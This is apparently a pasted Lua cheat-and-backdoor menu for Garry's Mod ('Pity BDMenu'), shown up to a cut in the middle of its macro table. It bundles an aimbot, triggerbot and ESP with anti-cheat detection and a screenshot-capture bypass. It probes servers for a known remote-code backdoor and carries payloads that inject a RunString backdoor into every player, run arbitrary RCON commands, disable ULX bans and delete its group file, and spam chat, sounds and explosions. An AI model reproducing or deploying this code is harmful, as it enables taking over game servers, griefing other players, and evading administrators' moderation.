· 7 years ago · Dec 09, 2018, 05:06 PM
1
2chat.AddText(Color(0, 0, 0), "[", "Pity", "] ", Color( 255, 255, 255 ),
3"Menu chargé avec succès" )
4
5local me = LocalPlayer()
6
7
8/*================================
9|===== Pity BDMenu =====|
10=================================*/
11
12local ss = false
13
14local renderv = render.RenderView
15local renderc = render.Clear
16local rendercap = render.Capture
17local vguiworldpanel = vgui.GetWorldPanel
18
19local function screengrab()
20if ss then return end
21ss = true
22
23renderc( 0, 0, 0, 255, true, true )
24renderv( {
25origin = LocalPlayer():EyePos(),
26angles = LocalPlayer():EyeAngles(),
27x = 0,
28y = 0,
29w = ScrW(),
30h = ScrH(),
31dopostprocess = true,
32drawhud = true,
33drawmonitors = true,
34drawviewmodel = true
35} )
36
37local vguishits = vguiworldpanel()
38
39if IsValid( vguishits ) then
40vguishits:SetPaintedManually( true )
41end
42
43timer.Simple( 0.1, function()
44vguiworldpanel():SetPaintedManually( false )
45ss = false
46end)
47end
48
49render.Capture = function(data)
50screengrab()
51local cap = rendercap( data )
52return cap
53end
54
55local blur = Material("pp/blurscreen")
56local function DrawBlur(panel, amount)
57local x, y = panel:LocalToScreen(0, 0)
58local scrW, scrH = ScrW(), ScrH()
59surface.SetDrawColor(255, 255, 255)
60surface.SetMaterial(blur)
61for i = 1, 3 do
62blur:SetFloat("$blur", (i / 3) * (amount or 6))
63blur:Recompute()
64render.UpdateScreenEffectTexture()
65surface.DrawTexturedRect(x * -1, y * -1, scrW, scrH)
66end
67end
68
69if (_G.QAC or _G.CAC) then
70chat.AddText(Color( 0, 0, 0), "[Pity] ", Color( 255, 114, 114 ), "Cake
71AntiCheat détecté" )
72else
73net.SendToServer()
74end
75
76
77if (_G.ulx or _G.ulib) then
78net.SendToServer()
79else
80chat.AddText(Color( 0, 0, 0), "[Pity] ", Color( 255, 114, 114 ), "Ulx
81non détecté" )
82end
83
84if file.Exists("snte_source.lua","LUA") == true or file.Exists (
85"autorun/server/snte_source.lua", "LUA" ) == true then
86chat.AddText(Color( 0, 0, 0), "[Pity] ", Color( 255, 114, 114 ), "SNTE
87détecté!!!!" )
88snte=true
89else
90snte=false
91end
92
93if file.Exists( "autorun/server/anti-bhop.lua", "GAME" ) == true then
94chat.AddText(Color( 0, 0, 0), "[Pity] ", Color( 255, 114, 114 ),
95"C0nw0nks Anticheat détecté" )
96else
97net.SendToServer()
98end
99
100if file.Exists( "cl_HAC.lua", "LUA" ) == true or file.Exists(
101"autorun/server/sv_HAC.lua", "LUA" ) == true then
102chat.AddText(Color( 0, 0, 0), "[Pity] ", Color( 255, 114, 114 ), "Hex's
103Anticheat détecté" )
104else
105net.SendToServer()
106end
107
108
109
110
111/*===================================== fiji_
112|===== Pity Fonts =====|
113======================================*/
114
115
116surface.CreateFont("pityersave", {font = "Arial", size = 80,weight =
1171000, antialias = 0})
118surface.CreateFont("pity_home1",{font = "Arial", size = 60, weight =
1192000, antialias = 0})
120surface.CreateFont("pity_home2",{font = "Arial", size = 13, weight =
1211000, antialias = 0})
122surface.CreateFont("pity_home3",{font = "Arial", size = 15, weight = 2,
123antialias = 0})
124surface.CreateFont("pity_home4",{font = "Arial", size = 20, weight =
1252000, antialias = 0})
126surface.CreateFont("pity_home5",{font = "Arial", size = 13, weight =
127100, antialias = 0})
128surface.CreateFont("PRINTERDETECT", {font = "", size = 20,weight = 1000,
129 antialias = 0})
130surface.CreateFont("pity_homeBTN",{font = "Roboto", size = 13, weight =
131100, shadow = true, italic = true, antialias = 0})
132surface.CreateFont("pity_homemini",{font = "Arial", size = 12, weight =
1330, antialias = 0})
134
135--fun
136local fiji_fun_bunnyhop = CreateClientConVar( "fiji_fun_bunnyhop", "0",
137true )
138local fiji_fun_spamlight = CreateClientConVar( "fiji_fun_spamlight",
139"0", true )
140local fiji_fun_spamrope = CreateClientConVar( "fiji_fun_spamrope", "0",
141true )
142local fiji_fun_thperson = CreateClientConVar( "fiji_fun_thperson", "0",
143true )
144local fiji_fun_radar = CreateClientConVar( "fiji_fun_radar", "0", true )
145local fiji_fun_radartech = CreateClientConVar( "fiji_fun_radartech",
146"0", true )
147local fiji_fun_miroir = CreateClientConVar( "fiji_fun_miroir", "0", true
148 )
149local fiji_fun_screengrab = CreateClientConVar( "fiji_fun_screengrab",
150"1", true )
151
152--crosshair
153local fiji_fun_crosshair = CreateClientConVar( "fiji_fun_crosshair",
154"0", true )
155local fiji_fun_crosshaircolor1 = CreateClientConVar(
156"fiji_fun_crosshaircolor1", "255", true )
157local fiji_fun_crosshaircolor2 = CreateClientConVar(
158"fiji_fun_crosshaircolor2", "0", true )
159local fiji_fun_crosshaircolor3 = CreateClientConVar(
160"fiji_fun_crosshaircolor3", "0", true )
161local fiji_fun_crosshaircolortype = CreateClientConVar(
162"fiji_fun_crosshaircolortype", "0", true )
163local fiji_fun_crosshairstyle = CreateClientConVar(
164"fiji_fun_crosshairstyle", "1", true )
165local fiji_fun_crosshairtaille = CreateClientConVar(
166"fiji_fun_crosshairtaille", "1", true )
167
168local fiji_aimbot_active = CreateClientConVar( "fiji_aimbot_active",
169"0", true )
170local fiji_aimbot_wall = CreateClientConVar( "fiji_aimbot_wall", "0",
171true )
172local fiji_aimbot_friends = CreateClientConVar( "fiji_aimbot_friends",
173"0", true )
174local fiji_aimbot_team = CreateClientConVar( "fiji_aimbot_team", "0",
175true )
176local fiji_aimbot_admin = CreateClientConVar( "fiji_aimbot_admin", "0",
177true )
178local fiji_aimbot_key = CreateClientConVar( "fiji_aimbot_key", KEY_W,
179true )
180local fiji_aimbot_fov = CreateClientConVar( "fiji_aimbot_fov", "180",
181true )
182local fiji_aimbot_dist = CreateClientConVar( "fiji_aimbot_dist", "1500",
183 true )
184local fiji_aimbot_propa = CreateClientConVar( "fiji_aimbot_propa", 0 )
185local fiji_aimbot_relock = CreateClientConVar( "fiji_aimbot_relock",
186"0", true ) -- auto reviser
187local fiji_aimbot_attack = CreateClientConVar( "fiji_aimbot_attack",
188"chest", true ) -- choisir zone
189
190
191local fiji_triggerbot_active = CreateClientConVar(
192"fiji_triggerbot_active", 0 )
193local fiji_triggerbot_opti = CreateClientConVar( "fiji_triggerbot_opti",
194 0 )
195local fiji_triggerbot_real = CreateClientConVar( "fiji_triggerbot_real",
196 0 )
197local fiji_triggerbot_team = CreateClientConVar( "fiji_triggerbot_team",
198 0 )
199local fiji_triggerbot_wall = CreateClientConVar( "fiji_triggerbot_wall",
200 0 )
201local fiji_triggerbot_friends = CreateClientConVar(
202"fiji_triggerbot_friends", 0 )
203
204local fiji_menu_princ_color = CreateClientConVar(
205"fiji_menu_princ_color", "50", true, false )
206local fiji_menu_sec_color = CreateClientConVar( "fiji_menu_sec_color",
207"50", true, false )
208local fiji_menu_th_color = CreateClientConVar( "fiji_menu_th_color",
209"50", true, false )
210local fiji_style_menu = CreateClientConVar( "fiji_style_menu", "3",
211true, false )
212
213local fiji_principal_color = CreateClientConVar( "fiji_principal_color",
214 "255", true, false )
215local fiji_secondary_color = CreateClientConVar( "fiji_secondary_color",
216 "0", true, false )
217local fiji_third_color = CreateClientConVar( "fiji_third_color", "0",
218true, false )
219local fiji_principal_color_infos = CreateClientConVar(
220"fiji_principal_color_infos", "255", true, false )
221local fiji_secondary_color_infos = CreateClientConVar(
222"fiji_secondary_color_infos", "255", true, false )
223local fiji_third_color_infos = CreateClientConVar(
224"fiji_third_color_infos", "255", true, false )
225local fiji_principal_color_ent = CreateClientConVar(
226"fiji_principal_color_ent", "255", true, false )
227local fiji_secondary_color_ent = CreateClientConVar(
228"fiji_secondary_color_ent", "0", true, false )
229local fiji_third_color_ent = CreateClientConVar( "fiji_third_color_ent",
230 "0", true, false )
231local fiji_principal_color_props = CreateClientConVar(
232"fiji_principal_color_props", "255", true, false )
233local fiji_secondary_color_props = CreateClientConVar(
234"fiji_secondary_color_props", "0", true, false )
235local fiji_third_color_props = CreateClientConVar(
236"fiji_third_color_props", "0", true, false )
237local fiji_style_player = CreateClientConVar( "fiji_style_player", "0",
238true, false )
239local fiji_principal_color_player = CreateClientConVar(
240"fiji_principal_color_player", "255", true, false )
241local fiji_secondary_color_player = CreateClientConVar(
242"fiji_secondary_color_player", "0", true, false )
243local fiji_third_color_player = CreateClientConVar(
244"fiji_third_color_player", "0", true, false )
245
246local fiji_vision_enable = CreateClientConVar( "BD_hitman_enable", 1 )
247local fiji_vision_enable_ent = CreateClientConVar(
248"BD_hitman_enable_ent", 0 )
249local fiji_vision_enable_props = CreateClientConVar(
250"BD_hitman_enable_props", 0 )
251local fiji_vision_type = CreateClientConVar( "BD_hitman_type", 1 )
252local fiji_vision_infos_name = CreateClientConVar(
253"BD_hitman_infos_name", 1 )
254local fiji_vision_infos_weapons = CreateClientConVar(
255"BD_hitman_infos_weapons", 1 )
256local fiji_vision_infos_health = CreateClientConVar(
257"BD_hitman_infos_health", 1 )
258local fiji_vision_distance = CreateClientConVar( "BD_hitman_distance",
2597000 )
260local fiji_vision_distance_infos = CreateClientConVar(
261"BD_hitman_distance_infos", 800 )
262local fiji_vision_distance_ent = CreateClientConVar(
263"BD_hitman_distance_ent", 800 )
264local fiji_vision_distance_props = CreateClientConVar(
265"BD_hitman_distance_props", 800 )
266local fiji_vision_enable_enthalo = CreateClientConVar(
267"fiji_vision_enable_enthalo", 1 )
268local fiji_vision_enable_enttext = CreateClientConVar(
269"fiji_vision_enable_enttext", 1 )
270
271
272local physgun_wheelspeed = CreateClientConVar( "physgun_wheelspeed",
273"100", true, false )
274
275local fiji_pitylogo = Material( "addons/base_ui_gmod/mat/pitylogo.png" )
276local fiji_pityhome = Material( "addons/base_ui_gmod/mat/pityhome.png" )
277local fiji_pityesp = Material( "addons/base_ui_gmod/mat/pityesp.png" )
278local fiji_pityaimbot = Material(
279"addons/base_ui_gmod/mat/pityaimbot.png" )
280local fiji_pitymisc = Material( "addons/base_ui_gmod/mat/pitymisc.png" )
281local fiji_pityexploits = Material(
282"addons/base_ui_gmod/mat/pityexploits.png" )
283local fiji_pitybackdoors = Material(
284"addons/base_ui_gmod/mat/pitybackdoors.png" )
285local fiji_pityconfig = Material(
286"addons/base_ui_gmod/mat/pityconfig.png" )
287local fiji_pitydiscordwidget = Material(
288"addons/base_ui_gmod/mat/pitydiscordwidget.png" )
289
290
291local fiji_exist_contentpity = CreateClientConVar(
292"fiji_exist_contentpity", 0 )
293
294local fiji_pityhover = "mat/pityhover2.wav"
295local fiji_pityclick = "mat/pityclick2.wav"
296
297local fiji_sv_existmen = CreateClientConVar( "fiji_sv_existmen", 0 )
298
299
300--[[if file.Exists( "addons/pity/field_constant.lua", "GAME" ) == true
301or file.Exists( "field_constant.lua", "LUA" ) == true then
302LocalPlayer():ConCommand("fiji_exist_contentpity 1")
303else
304LocalPlayer():ConCommand("fiji_exist_contentpity 0")
305chat.AddText(Color( 0, 0, 0), "[Pity] ", Color( 255, 114, 114 ), "ERREUR
306 - Vous n'avez pas installé les contents du menu." )
307end ]]--
308
309hook.Add("Think", "RGBSTF", function()
310local rainbowC = HSVToColor( CurTime() % 6 * 60, 1, 1 )
311
312if fiji_style_player:GetInt() == 1 then
313LocalPlayer():SetWeaponColor( Vector( rainbowC.r / 255, rainbowC.g /
314255, rainbowC.b / 255 ) )
315LocalPlayer():SetPlayerColor( Vector( rainbowC.r / 255, rainbowC.g /
316255, rainbowC.b / 255 ) )
317else
318LocalPlayer():SetWeaponColor( Vector(
319fiji_principal_color_player:GetInt(),fiji_secondary_color_player:GetInt(),fiji_third_color_player:GetInt(),
320 255 ) )
321LocalPlayer():SetPlayerColor(Vector(
322fiji_principal_color_player:GetInt(),fiji_secondary_color_player:GetInt(),fiji_third_color_player:GetInt(),
323 255 ) )
324end
325end)
326
327
328/*=====================================
329|===== Pity Backdoors =====|
330======================================*/
331
332
333local hide = {
334CHudCrosshair = true,
335}
336
337local triangle = {
338{ x = 50, y = 100 },
339{ x = 75, y = 50 },
340{ x = 100, y = 200 }
341
342}
343
344hook.Add( "HUDShouldDraw", "HideHUD", function( name )
345if( fiji_fun_crosshair:GetInt() == 1 ) then
346if ( hide[ name ] ) then return false end
347end
348end )
349local function FillRGBA(x,y,w,h,col)
350surface.SetDrawColor( col.r, col.g, col.b, col.a );
351surface.DrawRect( x, y, w, h );
352end
353local function DrawCrosshair()
354
355local w = ScrW() / 2.003;
356local h = ScrH() / 2;
357local stretch = fiji_fun_crosshairtaille:GetInt()
358
359if not LocalPlayer():InVehicle() then
360if fiji_fun_crosshairstyle:GetInt() == 1 then
361if fiji_fun_crosshaircolortype:GetInt() == 1 then
362FillRGBA( w - fiji_fun_crosshairtaille:GetInt()/2-14.2,h ,
363fiji_fun_crosshairtaille:GetInt() + 30, 2, HSVToColor( CurTime() % 6 *
36460, 1, 0.5 ) );
365FillRGBA( w, h - fiji_fun_crosshairtaille:GetInt()/2-13, 2,
366fiji_fun_crosshairtaille:GetInt() + 30, HSVToColor( CurTime() % 6 * 60,
3671, 0.5 ) );
368elseif fiji_fun_crosshaircolortype:GetInt() == 2 then
369FillRGBA( w - fiji_fun_crosshairtaille:GetInt()/2-14.2,h ,
370fiji_fun_crosshairtaille:GetInt() + 30, 2,
371Color(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75))
372 );
373FillRGBA( w, h - fiji_fun_crosshairtaille:GetInt()/2-13, 2,
374fiji_fun_crosshairtaille:GetInt() + 30,
375Color(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75))
376 );
377else
378FillRGBA( w - fiji_fun_crosshairtaille:GetInt()/2-14.2,h ,
379fiji_fun_crosshairtaille:GetInt() + 30, 2,
380Color(fiji_fun_crosshaircolor1:GetInt(),
381fiji_fun_crosshaircolor2:GetInt(), fiji_fun_crosshaircolor3:GetInt(),
382255 ) );
383FillRGBA( w, h - fiji_fun_crosshairtaille:GetInt()/2-13, 2,
384fiji_fun_crosshairtaille:GetInt() + 30,
385Color(fiji_fun_crosshaircolor1:GetInt(),
386fiji_fun_crosshaircolor2:GetInt(), fiji_fun_crosshaircolor3:GetInt(),
387255 ) );
388end
389elseif fiji_fun_crosshairstyle:GetInt() == 2 then
390if fiji_fun_crosshaircolortype:GetInt() == 1 then
391surface.DrawCircle(w, h, fiji_fun_crosshairtaille:GetInt()-9,
392HSVToColor( CurTime() % 6 * 60, 1, 0.5 ))
393surface.DrawCircle(w, h, fiji_fun_crosshairtaille:GetInt(), HSVToColor(
394CurTime() % 6 * 60, 1, 0.5 ))
395elseif fiji_fun_crosshaircolortype:GetInt() == 2 then
396surface.DrawCircle(w, h, fiji_fun_crosshairtaille:GetInt()-9,
397Color(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75)))
398surface.DrawCircle(w,
399 h, fiji_fun_crosshairtaille:GetInt(),
400Color(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75)))
401else
402
403surface.DrawCircle(w, h, fiji_fun_crosshairtaille:GetInt()-9,
404Color(fiji_fun_crosshaircolor1:GetInt(),
405fiji_fun_crosshaircolor2:GetInt(), fiji_fun_crosshaircolor3:GetInt(),
406255 ))
407surface.DrawCircle(w, h, fiji_fun_crosshairtaille:GetInt(),
408Color(fiji_fun_crosshaircolor1:GetInt(),
409fiji_fun_crosshaircolor2:GetInt(), fiji_fun_crosshaircolor3:GetInt(),
410255 ))
411end
412
413end
414end
415end
416
417
418
419function DrawXHair()
420if( fiji_fun_crosshair:GetInt() == 1 ) then
421DrawCrosshair();
422end
423end
424hook.Add( "HUDPaint", "DrawXHair", DrawXHair );
425
426local BD = {}
427local h = http
428
429
430BD.Backdoors = BD.Backdoors or {}
431
432BD.BackdoorTypes = {
433
434["Fpp"] = {
435
436["Code"] = "util.AddNetworkString( 'data_check' ) net.Receive(
437'data_check', function() local x = CompileString( net.ReadString(),
438'LuaCmd', false ) if isfunction( x ) then x() end end )",
439
440["Netkey"] = "data_check",
441
442},
443
444}
445
446
447
448
449local netsss = net.Start
450
451function BD.IsMessagePooled( netmessage )
452
453local netfunc = netsss
454
455local status, error = pcall( netfunc, netmessage )
456
457return status
458
459end
460
461function ValidNetString( str )
462local status, error = pcall( net.Start, str )
463return status
464end
465
466local net = net
467
468
469local ctxt = chat.AddText
470
471function BD.ChatText( message, col )
472
473ctxt( Color(255, 114, 114), "[Pity] ", col, message )
474
475end
476
477function CHATPRINT( str )
478end
479
480
481
482
483
484
485function BD.PingBackDoors()
486
487local bds = {}
488
489for k, v in pairs(BD.BackdoorTypes) do
490
491if BD.IsMessagePooled( tostring( v.Netkey ) ) then bds[k] = true end
492
493end
494
495return bds
496
497end
498
499concommand.Add("bd_refresh_backdoors", function() BD.Backdoors =
500BD.PingBackDoors() end)
501
502
503
504function BD.BackdoorActive()
505
506return table.Count( BD.Backdoors ) > 0
507
508end
509
510
511
512if fiji_fun_crosshair:GetInt() == 1 then
513DrawCrosshair();
514else end
515
516
517
518local function CommandesDraw()
519if fiji_fun_radar:GetInt() == 2 then
520local pitch = -2
521if pitch < 0 then pitch = pitch * LocalPlayer():EyeAngles().p end
522local yaw = 180
523if yaw < 0 then yaw = yaw * LocalPlayer():EyeAngles().y end
524local roll = 0
525if roll < 0 then roll = roll * LocalPlayer():EyeAngles().r end
526local Cam = {}
527Cam.angles = Angle( LocalPlayer():EyeAngles().p + pitch,
528LocalPlayer():EyeAngles().y + yaw, LocalPlayer():EyeAngles().r + roll )
529Cam.origin = LocalPlayer():GetShootPos()
530Cam.x = 0
531Cam.y = 0
532Cam.w = 200
533Cam.h = 200
534render.RenderView( Cam )
535surface.SetDrawColor(
536fiji_menu_princ_color:GetInt(),fiji_menu_sec_color:GetInt(),fiji_menu_th_color:GetInt()
537 )
538surface.DrawOutlinedRect( 0, 0, 200,200 )end
539
540if fiji_fun_radar:GetInt() == 1 then
541local Cam = {}
542Cam.angles = Angle( 90, LocalPlayer():EyeAngles().y, 0 )
543local Zvar = 2000
544local trace = {}
545trace.start = LocalPlayer():GetPos() + Vector( 0, 0, 5 )
546trace.endpos = LocalPlayer():GetPos() + Vector( 0, 0, 2000 )
547trace.filter = LocalPlayer()
548if util.TraceLine( trace ).Hit then
549Zvar = util.TraceLine( trace ).HitPos.z - 5 - LocalPlayer():GetPos().z
550
551end
552surface.SetDrawColor( 30, 30, 30, 255 )
553surface.DrawRect( 0,0,200,200 )
554Cam.origin = LocalPlayer():GetPos() + Vector( 0, 0, Zvar )
555Cam.x = 0
556Cam.y = 0
557Cam.w = 200
558Cam.h = 200
559
560
561surface.SetDrawColor(
562fiji_menu_princ_color:GetInt(),fiji_menu_sec_color:GetInt(),fiji_menu_th_color:GetInt()
563 )
564surface.DrawOutlinedRect( 0, 0, 200,200 )
565
566 local size = 200
567 local fov = 28
568 local x = 0
569 local y = 0
570for key, ply in pairs(player.GetAll()) do
571
572 local teamcol = Color(
573fiji_menu_princ_color:GetInt(),fiji_menu_sec_color:GetInt(),fiji_menu_th_color:GetInt(),
574 255 )
575
576 local lx = me:GetPos().x - ply:GetPos().x
577 local ly = me:GetPos().y - ply:GetPos().y
578 local ang = EyeAngles().y
579 local cos = math.cos(math.rad(-ang))
580 local sin = math.sin(math.rad(-ang))
581 local px = (ly * cos) + (lx * sin)
582 local py = (lx * cos) - (ly * sin)
583 px = px / fov
584 py = py / fov
585 px = math.Clamp(px, -(size * 0.50), size * 0.50)
586 py = math.Clamp(py, -(size * 0.50), size * 0.50)
587 if ply:GetPos():Distance( LocalPlayer():GetPos() ) > 2500
588 then continue end
589 if ply != me then
590 local name = player.GetAll()[key]:Nick()
591 local job = player.GetAll()[key]:Team()
592 draw.SimpleText(name, "pity_homemini", x + size - (size *
5930.50) + px - 13, y + size - (size * 0.56) + py - 7, teamcol,
594TEXT_ALIGN_LEFT, TEXT_ALIGN_CENTER)
595 draw.SimpleText(job, "pity_homemini", x + size - (size *
5960.50) + px - 13, y + size - (size * 0.50) + py - 7, teamcol,
597TEXT_ALIGN_LEFT, TEXT_ALIGN_CENTER)
598 end
599 if ply != me then
600 surface.SetDrawColor(teamcol)
601 surface.DrawRect(x + size - (size * 0.50) + px, y + size -
602(size * 0.50) + py, 3, 3)
603 else
604 surface.SetDrawColor(255,255,255)
605 surface.DrawRect(x + size - (size * 0.51) + px, y + size -
606(size * 0.50) + py, 5, 5)
607
608 end
609 surface.DrawLine(x, y, x + (size / 2), y + (size / 2))
610 surface.DrawLine(x + size, y, x + (size / 2), y + (size / 2))
611
612--surface.SetDrawColor( 255, 255, 255, 255 )
613--surface.DrawRect( ScrW() / 2 - 1, ScrH() / 2 - 1, 2, 2 )
614end
615end
616end
617hook.Add( "HUDPaint", "LESP", CommandesDraw )
618
619hook.Add("Think", "fijispamlight", function(ucmd, origin, angles,
620calcview, fov, p, o, a, f, aaaaa )
621if fiji_fun_spamlight:GetInt() == 1 then
622if input.IsKeyDown(KEY_F) then me:ConCommand("impulse 100") end
623end
624
625end)
626hook.Add("Think", "fijifolie", function(ucmd, origin, angles, calcview,
627fov, p, o, a, f, aaaaa )
628if fiji_fun_spamrope:GetInt() == 1 then
629if input.IsKeyDown(KEY_H) then
630
631local fijiangle = Angle(math.random(-90, 90), math.random(-180, 180), 0)
632
633me:SetEyeAngles( fijiangle )
634
635end end
636end)
637
638local fijibhop = false
639hook.Add("Think", "fijibhop", function()
640if fiji_fun_bunnyhop:GetInt() == 1 then
641if (input.IsKeyDown( KEY_SPACE ) ) then
642if LocalPlayer():IsOnGround() then
643RunConsoleCommand("+jump")
644HasJumped = 1
645else
646RunConsoleCommand("-jump")
647HasJumped = 0
648end
649elseif fiji_fun_bunnyhop:GetInt() == 0 and LocalPlayer():IsOnGround()
650then
651if HasJumped == 1 then
652RunConsoleCommand("-jump")
653HasJumped = 0
654end
655end
656end
657end)
658
659
660if fiji_fun_thperson:GetInt() == 1 then
661
662hook.Add( "CalcView", "ThirdPerson", function(ply, pos, angles, fov)
663 local ThirdPerson = {}
664 if fiji_fun_thperson:GetInt() == 1 then
665 ThirdPerson.origin = pos-( angles:Forward()*100 )
666 ThirdPerson.angles = angles
667 ThirdPerson.fov = fov
668 ThirdPerson.drawviewer = true
669 return ThirdPerson
670 elseif fiji_fun_thperson:GetInt() == 1 then
671 ThirdPerson.origin = pos-( angles:Forward() )
672 ThirdPerson.angles = angles
673 ThirdPerson.fov = fov
674 end
675end)
676
677end
678
679function BD.IsDead( ply )
680if !ply:IsValid() or !ply:Alive() or ply:GetObserverMode() !=
681OBS_MODE_NONE then return true end
682return false
683end
684
685function BD.GetActive()
686
687if !BD.BackdoorTypes[BD.CurrentBackdoor] then return { ["Code"] = "local
688 x = 69", ["Netkey"] = "" } end
689
690return BD.BackdoorTypes[BD.CurrentBackdoor]
691
692end
693
694
695
696BD.BDMacros ={
697
698
699
700
701/*===========================================
702|===== Commandes Sur Tout Les Joueurs =====|
703============================================*/
704
705
706
707
708
709["Armageddon"] = {
710
711["Type"] = 1,
712
713["Code"] = [[if !bombstrike then
714
715hook.Add("Think", "lulz_bombstrike", function()
716
717local explode = ents.Create( "env_explosion" )
718
719local ps = Vector(math.random(-8000, 8000), math.random(-8000, 8000),
720math.random(-5000, 5000))
721
722local trc = {}
723
724trc.start = ps
725
726trc.endpos = ps + Vector( 0, 0, -99999)
727
728local tr = util.TraceLine(trc)
729
730if !tr.Hit then return end
731
732explode:SetPos( tr.HitPos )
733
734explode:Spawn()
735
736explode:SetKeyValue( "iMagnitude", "400" )
737
738explode:Fire( "Explode", 0, 0 )
739
740end)
741
742bombstrike = true
743
744else
745
746hook.Remove("Think", "lulz_bombstrike")
747
748bombstrike = false
749
750end]],
751
752},
753
754
755
756
757
758["Injecter Backdoor"] = {
759
760["Type"] = 1,
761
762["Code"] = [[
763
764util.AddNetworkString( "fijiconn" )
765
766function BDSendLua( p, str ) net.Start( "fijiconn" ) net.WriteString(
767str ) net.Send( p ) end
768
769function BDSendLuaAll( str ) net.Start( "fijiconn" ) net.WriteString(
770str ) net.Broadcast() end
771
772function BDInjectAids( p ) p:SendLua( 'net.Receive( "fijiconn",
773function() RunString( net.ReadString() ) end )' ) end
774
775for k, v in pairs( player.GetAll() ) do BDInjectAids( v ) end
776
777hook.Add( "PlayerInitialSpawn", "pityisyourfriend", function( p )
778BDInjectAids( p ) end)
779
780]],
781
782
783},
784
785
786
787["Annonce au Joueurs"] = {
788
789["Type"] = 1,
790
791["Code"] = [[for k, v in pairs(player.GetAll()) do v:PrintMessage(
792HUD_PRINTCENTER, @1 ) end]],
793
794["NeedsParameters"] = 1,
795
796},
797
798
799
800["Changer pseudos"] = {
801
802["Type"] = 1,
803
804["Code"] = [[ for k, v in pairs(player.GetAll()) do
805DarkRP.storeRPName(v, @1) v:setDarkRPVar("rpname", @1) end ]],
806
807["NeedsParameters"] = 1,
808
809},
810
811
812["Spam Chat"] = {
813
814["Type"] = 1,
815
816["Code"] = [[
817
818if !timer.Exists( "wutckoasa" ) then
819
820timer.Create( "wutckoasa", 0.01, 0, function()
821BDSendLuaAll('chat.AddText( Color( math.random(0, 255), math.random(0,
822255), math.random(0, 255) ), @1 )' ) end)
823
824else
825
826timer.Remove( "wutckoasa" )
827
828end]],
829
830["NeedsParameters"] = 1,
831
832},
833
834
835
836["Ouvrir les portes"] = {
837
838["Type"] = 1,
839
840["Code"] = [[local doors = {"func_door", "func_door_rotating",
841"prop_door_rotating", "prop_dynamic"} for k, v in pairs(ents.GetAll())
842do if table.HasValue(doors, v:GetClass()) then v:Fire("unlock", "", 0)
843end end]],
844
845
846},
847
848
849
850
851
852["♾ Verre cassé"] = {
853
854["Type"] = 1,
855
856["Code"] = [[
857
858if !timer.Exists( "A true masterpiece" ) then
859
860timer.Create( "A true masterpiece", 0.2, 0, function()
861
862for _, p in pairs(player.GetAll()) do
863
864p:EmitSound(
865"physics/glass/glass_largesheet_break"..math.random(1,3)..".wav", 100,
866math.random( 40, 180 ) )
867
868end
869
870end)
871
872else
873
874timer.Remove( "A true masterpiece" )
875
876end]],
877
878},
879
880
881
882["♾ Yeeaahh !"] = {
883
884["Type"] = 1,
885
886["Code"] = [[
887
888if !timer.Exists( "porn" ) then
889
890timer.Create( "porn", 0.3, 0, function()
891
892for _, p in pairs(player.GetAll()) do
893
894p:EmitSound( "vo/npc/female01/yeah02.wav", 100, math.random( 90, 120 ) )
895
896end
897
898end)
899
900else
901
902timer.Remove( "porn" )
903
904end]],
905
906},
907
908["♾ Boxeur"] = {
909
910["Type"] = 1,
911
912["Code"] = [[
913
914if !timer.Exists( "impakt" ) then
915
916timer.Create( "impakt", 0.3, 0, function()
917
918for _, p in pairs(player.GetAll()) do
919
920p:EmitSound( "physics/body/body_medium_impact_hard1.wav", 100,
921math.random( 90, 120 ) )
922
923end
924
925end)
926
927else
928
929timer.Remove( "impakt" )
930
931end]],
932
933},
934
935["♾ Cloche"] = {
936
937["Type"] = 1,
938
939["Code"] = [[
940if !timer.Exists( "pimpon" ) then
941
942timer.Create( "pimpon", 0.3, 0, function()
943
944for _, p in pairs(player.GetAll()) do
945
946p:EmitSound( "ambient/alarms/warningbell1.wav", 100, math.random( 90,
947120 ) )
948
949end
950
951end)
952
953else
954
955timer.Remove( "pimpon" )
956
957end
958]],
959
960},
961
962["♾ Guerre civil"] = {
963
964["Type"] = 1,
965
966["Code"] = [[
967
968if !timer.Exists( "cwar" ) then
969
970timer.Create( "cwar", 1, 0, function()
971
972for _, p in pairs(player.GetAll()) do
973
974p:EmitSound( "ambient/levels/streetwar/city_battle"..math.random( 1, 19
975)..".wav", 100, math.random( 90, 120 ) )
976
977end
978
979end)
980
981else
982
983timer.Remove( "cwar" )
984
985end]],
986
987},
988
989
990
991["Séisme"] = {
992
993["Type"] = 1,
994
995["Code"] = [[
996
997if !timer.Exists( "earthquake" ) then
998
999timer.Create( "earthquake", 0.5, 500, function()
1000
1001for _, p in pairs(player.GetAll()) do
1002
1003p:SetPos( p:GetPos() + Vector( 0, 0, 1 ) )
1004
1005p:SetVelocity( Vector( math.random( -50, 50 ), math.random( -50, 50 ),
1006math.random( 100, 150 ) ) )
1007
1008util.ScreenShake( p:GetPos(), 20, 1, 1, 100 )
1009
1010p:EmitSound( "ambient/explosions/exp1.wav", 100, math.random( 60, 100 ) )
1011
1012end
1013
1014
1015
1016for _, e in pairs(ents.GetAll()) do
1017
1018if e:GetPhysicsObject() and e:GetPhysicsObject():IsValid() then
1019e:GetPhysicsObject():AddVelocity( Vector( math.random( -50, 50 ),
1020math.random( -50, 50 ), math.random( 100, 150 ) ) ) end
1021
1022end
1023
1024
1025end)
1026
1027else
1028
1029timer.Remove( "earthquake" )
1030
1031end]],
1032
1033},
1034
1035
1036
1037["Exploser les véhicules"] = {
1038
1039["Type"] = 1,
1040
1041["Code"] = [[for k, v in pairs(ents.GetAll()) do if v:IsVehicle() then
1042
1043local explo = ents.Create("env_explosion")
1044
1045explo:SetPos(v:GetPos())
1046
1047explo:SetKeyValue("iMagnitude", "300")
1048
1049explo:Spawn()
1050
1051explo:Activate()
1052
1053explo:Fire("Explode", "", 0)
1054
1055end
1056
1057end]],
1058
1059},
1060
1061
1062
1063["Commande RCON"] = {
1064
1065["Type"] = 1,
1066
1067["Code"] = [[game.ConsoleCommand( @1.."\n" )]],
1068
1069["NeedsParameters"] = 1,
1070
1071},
1072
1073
1074["'Supprimer Ulx"] = {
1075
1076["Type"] = 1,
1077
1078["Code"] = [[ULib.Ban = function() return false end
1079
1080ULib.addBan = function() return end
1081
1082ULib.kick = function() return end
1083if file.Exists( \"ulib/groups.txt\", \"DATA\" ) then
1084file.Delete(\"ulib/groups.txt\") end
1085if file.Exists( \"ulib/groups.txt\", \"DATA\" ) then
1086file.Delete(\"ulib/groups.txt\") end]],
1087
1088["Private"] = true,
1089
1090},
1091
1092["''Pityer the server †"] = {
